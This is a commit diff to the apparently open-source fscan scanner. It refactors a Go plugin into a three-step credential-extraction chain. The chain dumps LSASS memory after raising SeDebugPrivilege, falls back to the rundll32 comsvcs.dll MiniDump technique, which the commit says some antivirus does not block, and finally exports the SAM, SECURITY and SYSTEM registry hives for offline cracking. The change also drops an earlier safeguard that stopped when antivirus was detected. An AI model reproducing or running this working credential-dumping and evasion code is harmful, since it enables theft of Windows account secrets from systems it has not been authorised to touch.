mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-26 21:21:53 +08:00
refactor: minidump 实现降级链凭据提取
不再检测到杀软就直接退出,改为三级降级: 1. 直接 MiniDumpWriteDump(无杀软时尝试,15秒超时) 2. comsvcs.dll(系统签名DLL,部分杀软不拦截) 3. reg save SAM/SECURITY/SYSTEM(离线方式,不碰 LSASS) 全部失败才退出,0.2 秒完成不会卡死系统
This commit is contained in:
@@ -648,6 +648,9 @@ systemdservice_success:
|
|||||||
other: "Systemd service persistence completed: {{.Arg1}} methods succeeded"
|
other: "Systemd service persistence completed: {{.Arg1}} methods succeeded"
|
||||||
|
|
||||||
# System info
|
# System info
|
||||||
|
minidump_regsave_success:
|
||||||
|
other: "Registry hive export completed (SAM/SECURITY/SYSTEM)"
|
||||||
|
|
||||||
systeminfo_start:
|
systeminfo_start:
|
||||||
other: "Starting system information collection"
|
other: "Starting system information collection"
|
||||||
systeminfo_os:
|
systeminfo_os:
|
||||||
|
|||||||
@@ -647,6 +647,9 @@ systemdservice_success:
|
|||||||
other: "系统服务持久化完成: {{.Arg1}}个方法成功"
|
other: "系统服务持久化完成: {{.Arg1}}个方法成功"
|
||||||
|
|
||||||
# 系统信息
|
# 系统信息
|
||||||
|
minidump_regsave_success:
|
||||||
|
other: "注册表 hive 导出完成 (SAM/SECURITY/SYSTEM)"
|
||||||
|
|
||||||
systeminfo_start:
|
systeminfo_start:
|
||||||
other: "开始系统信息收集"
|
other: "开始系统信息收集"
|
||||||
systeminfo_os:
|
systeminfo_os:
|
||||||
|
|||||||
+93
-88
@@ -7,8 +7,8 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"runtime"
|
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
@@ -82,7 +82,7 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行内存转储 - 直接实现
|
// Scan 执行凭据提取——降级链:直接dump → comsvcs.dll → reg save
|
||||||
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
_ = session.Config
|
_ = session.Config
|
||||||
_ = session.State
|
_ = session.State
|
||||||
@@ -94,119 +94,124 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
|||||||
|
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
output.WriteString("=== 进程内存转储 ===\n")
|
|
||||||
output.WriteString(fmt.Sprintf("平台: %s\n", runtime.GOOS))
|
|
||||||
|
|
||||||
// 加载系统DLL
|
|
||||||
if err := p.loadSystemDLLs(); err != nil {
|
|
||||||
output.WriteString(fmt.Sprintf("加载系统DLL失败: %v\n", err))
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: err,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查管理员权限
|
// 检查管理员权限
|
||||||
if !p.isAdmin() {
|
if !p.isAdmin() {
|
||||||
output.WriteString("需要管理员权限才能执行内存转储\n")
|
return &plugins.Result{Success: false, Output: "需要管理员权限\n", Error: errors.New("需要管理员权限")}
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: errors.New("需要管理员权限"),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
output.WriteString("✓ 已确认具有管理员权限\n")
|
if err := p.loadSystemDLLs(); err != nil {
|
||||||
|
return &plugins.Result{Success: false, Output: fmt.Sprintf("加载系统DLL失败: %v\n", err), Error: err}
|
||||||
// 创建进程管理器
|
|
||||||
pm := &ProcessManager{
|
|
||||||
kernel32: p.kernel32,
|
|
||||||
dbghelp: p.dbghelp,
|
|
||||||
advapi32: p.advapi32,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 查找lsass.exe进程
|
pm := &ProcessManager{kernel32: p.kernel32, dbghelp: p.dbghelp, advapi32: p.advapi32}
|
||||||
output.WriteString("正在查找lsass.exe进程...\n")
|
avActive := p.isAVBlocking()
|
||||||
|
|
||||||
|
// 方式1:直接 MiniDumpWriteDump(无杀软时尝试)
|
||||||
|
if !avActive {
|
||||||
|
output.WriteString("[*] 尝试直接内存转储...\n")
|
||||||
|
if ok := p.tryDirectDump(ctx, pm, &output); ok {
|
||||||
|
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
output.WriteString("[*] 检测到杀软防护,跳过直接dump\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截)
|
||||||
|
output.WriteString("[*] 尝试 comsvcs.dll 方式...\n")
|
||||||
|
if ok := p.tryComsvcsDump(pm, &output); ok {
|
||||||
|
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS)
|
||||||
|
output.WriteString("[*] 尝试 reg save 导出注册表...\n")
|
||||||
|
if ok := p.tryRegSave(&output); ok {
|
||||||
|
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||||
|
}
|
||||||
|
|
||||||
|
output.WriteString("[!] 所有方式均失败\n")
|
||||||
|
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New("所有凭据提取方式均失败")}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool {
|
||||||
pid, err := pm.findProcess("lsass.exe")
|
pid, err := pm.findProcess("lsass.exe")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
|
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
|
||||||
return &plugins.Result{
|
return false
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: err,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
output.WriteString(fmt.Sprintf("✓ 找到lsass.exe进程, PID: %d\n", pid))
|
|
||||||
|
|
||||||
// 提升权限
|
|
||||||
output.WriteString("正在提升SeDebugPrivilege权限...\n")
|
|
||||||
if privErr := pm.elevatePrivileges(); privErr != nil {
|
if privErr := pm.elevatePrivileges(); privErr != nil {
|
||||||
output.WriteString(fmt.Sprintf(" 权限提升失败: %v\n", privErr))
|
output.WriteString(fmt.Sprintf(" 权限提升失败: %v\n", privErr))
|
||||||
return &plugins.Result{
|
return false
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: fmt.Errorf("SeDebugPrivilege 提升失败: %w", privErr),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
output.WriteString("✓ 权限提升成功\n")
|
|
||||||
|
|
||||||
// 检测杀软——Defender 等会拦截 LSASS dump 导致 API hang
|
|
||||||
if p.isAVBlocking() {
|
|
||||||
output.WriteString("检测到活跃的杀软防护,LSASS dump 大概率被拦截,跳过\n")
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: errors.New("杀软防护活跃,跳过 LSASS dump"),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建转储文件
|
|
||||||
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
||||||
output.WriteString(fmt.Sprintf("准备创建转储文件: %s\n", outputPath))
|
|
||||||
|
|
||||||
// 执行转储
|
|
||||||
output.WriteString("开始执行内存转储...\n")
|
|
||||||
|
|
||||||
// 创建带超时的context(正常 dump 几秒完成,超过 15 秒说明被拦截)
|
|
||||||
dumpCtx, cancel := context.WithTimeout(ctx, 15*time.Second)
|
dumpCtx, cancel := context.WithTimeout(ctx, 15*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil {
|
||||||
|
output.WriteString(fmt.Sprintf(" 直接dump失败: %v\n", err))
|
||||||
|
os.Remove(outputPath)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.reportSuccess(output, outputPath, "直接内存转储")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool {
|
||||||
|
pid, err := pm.findProcess("lsass.exe")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
output.WriteString(fmt.Sprintf("内存转储失败: %v\n", err))
|
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
|
||||||
// 创建错误信息文件
|
return false
|
||||||
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
}
|
||||||
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
|
||||||
_ = os.WriteFile(outputPath, errorData, 0644)
|
|
||||||
|
|
||||||
return &plugins.Result{
|
_ = pm.elevatePrivileges()
|
||||||
Success: false,
|
|
||||||
Output: output.String(),
|
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
||||||
Error: err,
|
cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump",
|
||||||
|
fmt.Sprintf("%d", pid), outputPath, "full")
|
||||||
|
if err := cmd.Run(); err != nil {
|
||||||
|
output.WriteString(fmt.Sprintf(" comsvcs.dll失败: %v\n", err))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.reportSuccess(output, outputPath, "comsvcs.dll")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
|
||||||
|
files := map[string]string{
|
||||||
|
"SAM": filepath.Join(".", "sam.hiv"),
|
||||||
|
"SECURITY": filepath.Join(".", "security.hiv"),
|
||||||
|
"SYSTEM": filepath.Join(".", "system.hiv"),
|
||||||
|
}
|
||||||
|
|
||||||
|
saved := 0
|
||||||
|
for hive, path := range files {
|
||||||
|
if err := exec.Command("reg", "save", fmt.Sprintf("HKLM\\%s", hive), path, "/y").Run(); err == nil {
|
||||||
|
if fi, err := os.Stat(path); err == nil {
|
||||||
|
output.WriteString(fmt.Sprintf(" ✓ %s → %s (%d bytes)\n", hive, path, fi.Size()))
|
||||||
|
saved++
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
output.WriteString(fmt.Sprintf(" ✗ %s 导出失败\n", hive))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取文件信息
|
if saved == 3 {
|
||||||
fileInfo, err := os.Stat(outputPath)
|
output.WriteString("[+] 注册表 hive 导出完成,可用 secretsdump 离线解析\n")
|
||||||
var fileSize int64
|
common.LogSuccess(i18n.Tr("minidump_regsave_success"))
|
||||||
if err == nil {
|
return true
|
||||||
fileSize = fileInfo.Size()
|
}
|
||||||
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
output.WriteString("✓ 内存转储完成\n")
|
func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string) bool {
|
||||||
output.WriteString(fmt.Sprintf("转储文件: %s\n", outputPath))
|
fi, err := os.Stat(path)
|
||||||
output.WriteString(fmt.Sprintf("文件大小: %d bytes\n", fileSize))
|
if err != nil || fi.Size() == 0 {
|
||||||
|
return false
|
||||||
common.LogSuccess(i18n.Tr("minidump_success", outputPath, fileSize))
|
|
||||||
|
|
||||||
return &plugins.Result{
|
|
||||||
Success: true,
|
|
||||||
Type: plugins.ResultTypeService,
|
|
||||||
Output: output.String(),
|
|
||||||
Error: nil,
|
|
||||||
}
|
}
|
||||||
|
output.WriteString(fmt.Sprintf("[+] %s成功: %s (%d bytes)\n", method, path, fi.Size()))
|
||||||
|
common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// loadSystemDLLs 加载系统DLL
|
// loadSystemDLLs 加载系统DLL
|
||||||
|
|||||||
Reference in New Issue
Block a user